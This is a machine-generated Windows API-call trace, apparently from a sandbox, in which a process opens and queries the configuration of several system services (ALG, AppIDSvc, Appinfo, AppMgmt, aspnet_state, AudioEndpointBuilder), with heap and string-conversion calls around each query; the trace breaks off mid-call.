[0027.319] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.320] GetLastError () returned 0x7a [0027.320] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x106, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ed90 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ee18 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ed90) returned 1 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ee18) returned 1 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ee18 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ed90 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ee18) returned 1 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ed90) returned 1 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ed90 [0027.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89768 [0027.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89768, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89720 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89768) returned 1 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89720) returned 1 [0027.320] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ed90) returned 1 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89720 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ed90 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ee18 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eea0 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ef28 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233efb0 [0027.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89768 [0027.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1c89768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0027.320] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897b0 [0027.321] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89768) returned 1 [0027.321] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897b0) returned 1 [0027.321] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233efb0) returned 1 [0027.321] OpenServiceW (hSCManager=0x286c38, lpServiceName="ALG", dwDesiredAccess=0x1) returned 0x286d28 [0027.321] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.321] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.321] GetLastError () returned 0x7a [0027.321] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x11a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.321] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233efb0 [0027.321] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.321] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233efb0) returned 1 [0027.321] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0027.321] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.321] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897b0 [0027.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x1c897b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg.exe", lpUsedDefaultChar=0x0) returned 7 [0027.321] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89768 [0027.321] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897b0) returned 1 [0027.322] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89768) returned 1 [0027.322] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89768 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233efb0 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f0c0 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f148 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f1d0 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897b0 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1c897b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0027.322] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897f8 [0027.322] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897b0) returned 1 [0027.322] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897f8) returned 1 [0027.322] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f1d0) returned 1 [0027.322] OpenServiceW (hSCManager=0x286c38, lpServiceName="AppIDSvc", dwDesiredAccess=0x1) returned 0x286e18 [0027.322] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.322] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.322] GetLastError () returned 0x7a [0027.322] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x18e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c82de8 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f1d0 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f1d0) returned 1 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f1d0 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f1d0) returned 1 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897f8 [0027.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c897f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897b0 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897f8) returned 1 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897b0) returned 1 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897b0 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f038 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f1d0 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f258 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f2e0 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f368 [0027.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897f8 [0027.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1c897f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0027.323] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89840 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897f8) returned 1 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89840) returned 1 [0027.323] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f368) returned 1 [0027.323] OpenServiceW (hSCManager=0x286c38, lpServiceName="Appinfo", dwDesiredAccess=0x1) returned 0x286d00 [0027.324] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.324] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.324] GetLastError () returned 0x7a [0027.324] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f368 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f3f0 [0027.324] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f368) returned 1 [0027.324] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f3f0) returned 1 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f3f0 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f368 [0027.324] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f3f0) returned 1 [0027.324] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f368) returned 1 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f368 [0027.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89840 [0027.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.324] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897f8 [0027.324] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89840) returned 1 [0027.324] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897f8) returned 1 [0027.325] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f368) returned 1 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c897f8 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f368 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f3f0 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f478 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f500 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89840 [0027.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1c89840, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0027.325] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89888 [0027.325] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89840) returned 1 [0027.325] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89888) returned 1 [0027.325] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0027.325] OpenServiceW (hSCManager=0x286c38, lpServiceName="AppMgmt", dwDesiredAccess=0x1) returned 0x286dc8 [0027.325] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.325] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.325] GetLastError () returned 0x7a [0027.325] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x106, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f610 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f610) returned 1 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f610 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f610) returned 1 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89888 [0027.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89888, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89840 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89888) returned 1 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89840) returned 1 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89840 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f610 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f698 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f720 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f7a8 [0027.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89888 [0027.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1c89888, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0027.326] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c898d0 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89888) returned 1 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c898d0) returned 1 [0027.326] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f7a8) returned 1 [0027.326] OpenServiceW (hSCManager=0x286c38, lpServiceName="aspnet_state", dwDesiredAccess=0x1) returned 0x286d28 [0027.327] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.327] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.327] GetLastError () returned 0x7a [0027.327] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c82ef0 [0027.327] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f7a8 [0027.327] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0027.327] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f7a8) returned 1 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f7a8 [0027.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c898d0 [0027.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x1c898d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state.exe", lpUsedDefaultChar=0x0) returned 16 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89888 [0027.327] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c898d0) returned 1 [0027.327] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89888) returned 1 [0027.327] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f7a8) returned 1 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89888 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f7a8 [0027.327] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f588 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f830 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f8b8 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c898d0 [0027.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1c898d0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89918 [0027.328] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c898d0) returned 1 [0027.328] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89918) returned 1 [0027.328] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.328] OpenServiceW (hSCManager=0x286c38, lpServiceName="AudioEndpointBuilder", dwDesiredAccess=0x1) returned 0x286e18 [0027.328] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.328] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.328] GetLastError () returned 0x7a [0027.328] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.328] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f9c8 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f9c8) returned 1 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f9c8 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f9c8) returned 1 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89918 [0027.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89918, cbMultiByte=11, lpDefaultChar=0x0, 